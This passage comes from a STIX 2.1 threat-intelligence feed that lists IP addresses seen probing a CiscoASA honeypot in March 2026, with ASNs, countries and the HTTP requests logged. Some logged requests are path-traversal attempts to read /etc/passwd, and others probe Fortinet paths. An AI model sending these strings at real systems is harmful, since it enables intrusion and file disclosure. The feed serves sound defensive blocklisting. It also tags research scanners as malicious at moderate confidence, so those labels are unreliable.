            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T14:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: CA; ASN 12989 (Black HOST Ltd)",
      "id": "indicator--c8d7f83e-5f8d-42ba-99ed-cdb3b5ded5c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '86.54.31.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:20:07.000Z",
      "valid_until": "2026-04-07T14:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 9,
          "first_seen": "2026-03-06T13:32:00.516Z",
          "last_seen": "2026-03-06T13:32:27.667Z",
          "country": "Canada",
          "country_code": "CA",
          "asn": 12989,
          "as_org": "Black HOST Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /aaa9 HTTP/1.1\" 404 -",
            "\"GET /aad7 HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 396982 (Google LLC)",
      "id": "indicator--2f5d8c1a-798c-49bb-b66d-24eae2f52e86",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.39.59.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T16:20:13.000Z",
      "valid_until": "2026-04-07T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-06T15:46:26.468Z",
          "last_seen": "2026-03-06T15:46:27.423Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204770 (UAB Cherry Servers)",
      "id": "indicator--ac07b1b3-e2fa-4b39-88f8-64bdb1cfe66e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '84.32.70.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T16:20:13.000Z",
      "valid_until": "2026-04-07T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-06T15:48:08.125Z",
          "last_seen": "2026-03-06T15:48:08.125Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204770,
          "as_org": "UAB Cherry Servers",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T17:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 202425 (IP Volume inc)",
      "id": "indicator--452385b4-1786-4952-8a4f-91d60e3462be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T17:20:07.000Z",
      "valid_until": "2026-04-07T17:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-06T16:54:10.976Z",
          "last_seen": "2026-03-25T23:08:33.667Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202425,
          "as_org": "IP Volume inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T19:20:36.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: NL; ASN 206264 (Amarutu Technology Ltd)",
      "id": "indicator--1c1f6392-9f4d-4cd6-b996-f0617f154ddc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '89.42.231.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T19:20:36.000Z",
      "valid_until": "2026-04-07T19:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 9,
          "first_seen": "2026-03-06T19:19:03.106Z",
          "last_seen": "2026-03-11T00:39:53.278Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 206264,
          "as_org": "Amarutu Technology Ltd",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
            "\"GET /static/link/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-06T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--8b8c39bf-d96f-4ef6-be2c-10c79e31b100",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.169.104.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T21:20:13.000Z",
      "valid_until": "2026-04-07T21:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-06T20:23:23.755Z",
          "last_seen": "2026-03-06T20:23:26.758Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T01:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d3fbf911-a96c-4cf4-a07b-416e8f9123a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.157.236.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:20:24.000Z",
      "valid_until": "2026-04-08T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-07T00:55:23.033Z",
          "last_seen": "2026-03-07T00:55:23.033Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T01:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--91d26817-ed19-4da2-8f34-126998459e8e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.88.251.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T01:20:24.000Z",
      "valid_until": "2026-04-08T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-07T00:55:02.862Z",
          "last_seen": "2026-03-07T00:55:05.863Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T02:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--6902a184-062a-4bd5-8709-a46ef9b4fa0b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T02:20:14.000Z",
      "valid_until": "2026-04-08T02:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-07T01:54:48.985Z",
          "last_seen": "2026-03-12T00:20:16.740Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--0e162f98-1a2b-4207-bb7a-f63edb90107c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:20:14.000Z",
      "valid_until": "2026-04-08T03:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-07T02:39:09.541Z",
          "last_seen": "2026-03-07T02:39:23.855Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3fd075a7-9ac8-4fc7-8a85-be1d33e855f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:20:14.000Z",
      "valid_until": "2026-04-08T03:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 15,
          "first_seen": "2026-03-07T03:02:50.239Z",
          "last_seen": "2026-03-07T03:08:52.290Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--fed2ad95-cbaa-4956-a2ba-31f9748c76c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:20:14.000Z",
      "valid_until": "2026-04-08T03:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-07T03:06:33.577Z",
          "last_seen": "2026-03-07T03:06:44.796Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a0310af9-c39d-4d7f-b109-9bd48cfe4f72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:20:14.000Z",
      "valid_until": "2026-04-08T03:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-07T03:04:50.280Z",
          "last_seen": "2026-03-07T03:06:51.197Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a6c1b244-aa25-4f57-90fb-825a07aa78a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:20:14.000Z",
      "valid_until": "2026-04-08T03:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-07T03:06:53.527Z",
          "last_seen": "2026-03-07T03:06:53.527Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--41136621-067a-490c-a5b4-b9025ddce255",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:20:14.000Z",
      "valid_until": "2026-04-08T03:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-07T03:06:47.985Z",
          "last_seen": "2026-03-07T03:06:47.985Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f6c7a377-977b-42d5-a8cb-e773627a7385",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:20:14.000Z",
      "valid_until": "2026-04-08T03:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-07T03:06:58.899Z",
          "last_seen": "2026-03-07T03:06:58.899Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-07T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e4be04ac-a5b4-4641-86c1-7f5576075df8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:20:14.000Z",
      "valid_until": "2026-04-08T03:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-07T03:05:20.290Z",
          "last_seen": "2026-03-07T03:05:20.290Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--172d96e0-afc3-4643-b039-6e54dd8c9102",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.212.70.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T01:20:13.000Z",
      "valid_until": "2026-04-09T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T00:53:25.959Z",
          "last_seen": "2026-03-08T00:53:25.959Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--2079b724-e8e5-4010-9e92-9b40fcef05fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:20:13.000Z",
      "valid_until": "2026-04-09T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-08T02:51:30.191Z",
          "last_seen": "2026-03-08T02:53:30.941Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--bcd12670-3d08-44db-bd96-fa573a80c1da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:20:13.000Z",
      "valid_until": "2026-04-09T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T03:02:45.991Z",
          "last_seen": "2026-03-17T07:44:43.333Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--dd94a255-d016-4e72-b90d-96adc539d1f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:20:13.000Z",
      "valid_until": "2026-04-09T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T03:01:30.679Z",
          "last_seen": "2026-03-17T07:46:28.450Z",
